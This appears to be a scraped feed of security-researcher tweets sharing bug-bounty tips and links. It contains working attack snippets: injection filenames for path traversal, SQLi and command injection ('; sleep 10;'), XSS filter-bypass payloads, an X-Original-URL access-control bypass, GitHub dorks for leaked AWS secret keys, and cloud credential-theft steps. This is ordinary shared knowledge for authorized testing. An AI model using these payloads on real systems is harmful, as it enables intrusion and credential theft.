Str1v3r

[Str1v3r @STR1V3R]

@tradiumcrypto @cvizorcom https://t.co/zaH7gI8eiS
Price discovery mode active in 3..2..1..

[Str1v3r @STR1V3R]

Definitely a noteworthy insight into the ongoing world situation:
https://t.co/h3HJzHuC6n

[Nicolas Krassas @Dinosn]

A Collection of Cloud Security Tools
https://t.co/qwf9UqZZNk

[Emad Shanab - أبو عبد الله @Alra3ees]

CloudPentestCheatsheets: This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. https://t.co/sbSIBauWam

[Emad Shanab - أبو عبد الله @Alra3ees]

10 Password Reset Flaws. https://t.co/eoXjx3N3fK

[Omar (mainnet arc) @acceleratooooor]

The Ultimate GitHub Dorks List v1

My list of 240 unique GitHub Dorks for sensitive information exposure compiled from various sources to find easy wins.

Happy hunting and be sure to follow me for v2!

Text File:
https://t.co/QHlv6bO2If

#BugBounty #bugbountytip #bugbountytips

[Emad Shanab - أبو عبد الله @Alra3ees]

BugBounty: Bug Bounty stuffs, payloads, scripts, profiles, tips and tricks, ... https://t.co/kfTXGK1FNt

[Manas @ManasH4rsh]

Chaining file uploads with other vulns:-

Set filename to:-

> ../../../tmp/lol.png for path traversals
> sleep(10)-- -.jpg for SQLi.
> <svg onload=alert(document.comain)>.jpg/png for xss
> ; sleep 10; for command injections

#bugbountytips

[ghostlulz @ghostlulz1337]

Cloud hacking

1. Compromise Credentials(SSRF,Source Code, Environment Variables)

2. Check Permissions(What do you have access to)

3. Search (Storage buckets,Databases, VM Instances, Images, Containers)

4. Priv Escalation & Lateral Movement

5. Repeat steps 2 -4

Part 1/2

[Gareth Heyes \u2028 @garethheyes]

@PortSwiggerRes Comments also work in Firefox:
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>">

Dunno why it didn't work the first time I tried it.

[Ahsan Khan @hunter0x7]

Github

org:Target "bucket_name"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "S3_BUCKET"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_SECRET_ACCESS_KEY"
org:Target "S3_ENDPOINT"
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"

[ghostlulz @ghostlulz1337]

Been going deep into Cloud hacking specifically Google Cloud. Here are some resources if your interested:

https://t.co/VkI8iamevC

https://t.co/invvHi1DvP

https://t.co/1EfuQUKZmt

https://t.co/uvCPOcCIBw

If you find creds via SSRF try privilege escalation for cloud takeover.

[Sam Curry @samwcyo]

New writeup:

"We Hacked Apple for 3 Months: Here’s What We Found"

Featuring...
@bbuerhaus, @NahamSec, @erbbysam, and @_StaticFlow_

https://t.co/XE757tadE9

[PT SWARM @ptswarm]

⚡️New DNS Out-of-Band vector for MSSQL Injections in SELECT statement! Can be used for completely blind #sqli.

Use fn_trace_gettable and #Burp Collaborator👍.

#ptswarmTechniques

[m4ll0k @m4ll0k]

Extract your targets from all SONAR FDNS V2 data:

- download all data from https://t.co/2J3T299LRR
- pigz *.json.gz -dc| grep -iE ‘\.yahoo.com'|jq .name|sed 's/"//g'|grep -iE ‘\.yahoo.com$'

#bugbountytips #bugbountytip

[Lütfü Mert Ceylan @lutfumertceylan]

an XSS payload to bypass some waf & filters in Firefox

<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">

#bugbounty #bugbountytips #bugbountytip #infosec #cybersecurity #ethicalhacking

[👑 OFJAAAH → ofjaaah.com @ofjaaah]

https://t.co/llTeyQ9UDe

#bugbountytips #KingOfBugBountyTips #bugbounty

[Ahsan Khan @hunter0x7]

GET /admin HTTP/1.1
Host: https://t.co/kc0BFkaTX3
...
Access is denied

GET /test HTTP/1.1
Host: https://t.co/kc0BFkaTX3
X-Original-URL: /admin

HTTP/1.1 200 OK

[Emad Shanab - أبو عبد الله @Alra3ees]

#noobtip
Subdomains on home DIR
Burpsuite and don't add scope
gospider -S uber.txt -c 100 -d 8 -p http://127.0.0.1:8080
watch Burp history,sitemap
subs,ports,js,json,endpoints,linkfinder,AWS Wayback AlienVault
Finished. Choose scope manually
Run burp spiders to get more endpoints

[Ivan Novikov @d0znpp]

Meet JWT heartbreaker! A Burp extension that finds thousands of weak JWT secrets https://t.co/pI2HSJIIyG